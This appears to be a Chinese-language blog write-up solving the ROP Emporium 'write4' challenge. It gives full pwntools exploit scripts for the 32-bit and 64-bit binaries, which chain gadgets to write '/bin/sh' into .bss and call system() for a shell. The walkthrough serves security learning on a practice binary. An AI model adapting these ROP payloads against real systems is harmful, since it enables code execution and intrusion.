write4

ropemporium上的链接
https://ropemporium.com/

32位

checksec后试运行


32位ida


main函数

pwnme函数

发现栈溢出漏洞

再次发现usefulFunction,找到system在plt地址为0x08048430,但是参数不对



shift+F12找字符串,发现没有想要的


那我们就试着把"sh"写进去bss段(好像说data段也行),因为32位是4个字节,不能一次性传入/bin/sh,当然也可以传入/bin/sh,只是要分两次,可以参考
https://www.jianshu.com/p/d385e23b2a94
https://www.jianshu.com/p/d1059b77d018

ida里ctrl+s可以查看data段和bss段的权限


终端时输入命令

ROPgadget --binary write432 --only "mov|pop|ret"


用ROPgadget找到了两条指令

0x08048670 : mov dword ptr [edi], ebp ; ret
0x080486da : pop edi ; pop ebp ; ret

第一条指令 edi 存的是bss 段的地址,ebp 存的是要写入的数据
第二条指令是指将 ebp 中的内容写到 edi 内存的所在地址

脚本如下

#coding=utf8
from pwn import *
#context.log_level = 'debug'
elf = ELF('./write432')
p = process('./write432')

system_plt = 0x08048430#system_plt = elf.plt['system']
bss = 0x0804A040#bss = elf.bss()
pop_edi_ebp = 0x080486da
mov_edi_ebp = 0x08048670

payload = ''
payload += 0x28*'A'
payload += p32(0)
payload += p32(pop_edi_ebp)
payload += p32(bss)
payload += 'sh\x00\x00'
payload += p32(mov_edi_ebp)
payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(bss)

p.sendline(payload)
p.interactive()
成功

64位

64位大同小异
输入命令

ROPgadget --binary write4 --only "mov|pop|ret"

我们选用这两条指令,同时控制r14和r15

0x0000000000400820 : mov qword ptr [r14], r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret

还要用到pop rdi;ret;

0x0000000000400893 : pop rdi ; ret

脚本如下

#coding=utf8
from pwn import *
#context.log_level = 'debug'
elf = ELF('./write4')
p = process('./write4')

system_plt = elf.plt['system']
bss = elf.bss()
pop_r14_r15 = 0x400890
mov_r14_r15 = 0x400820
pop_rdi = 0x400893

payload = ''
payload += 0x20*'A'
payload += p64(0)
payload += p64(pop_r14_r15)
payload += p64(bss)
payload += '/bin/sh\x00'
payload += p64(mov_r14_r15)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(system_plt)

p.sendline(payload)
p.interactive()
成功
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 64位 我们照常来check一下保护 依旧是堆栈不可执行保护 然后为了防止最后忘记这一步,我们先爆个字符串大小先 ...
    YeeZi_阅读 3,335评论 0 0
  • 32位checksec,开了NX 所以需要在 bss 段或者 data 段写入 /bin/sh 字符串,Ctrl+...
    y1deer阅读 4,900评论 0 0
  • 1.观察有没有system没有/bin/sh ,我们可以尝试想bss或者date段写入/bin/sh.,使用plt...
    Zero_0_0阅读 3,196评论 0 0
  • Return-Oriented-Programming(ROP FTW) Author: Saif El-Sher...
    RealSys阅读 8,743评论 0 2
  • --263天 标准化对我的收获: 1,标准化,让我自己充分了解我的岗位流程职责的同时,也能快速的了解其他的岗位...
    Alina_qi阅读 1,022评论 0 1

友情链接更多精彩内容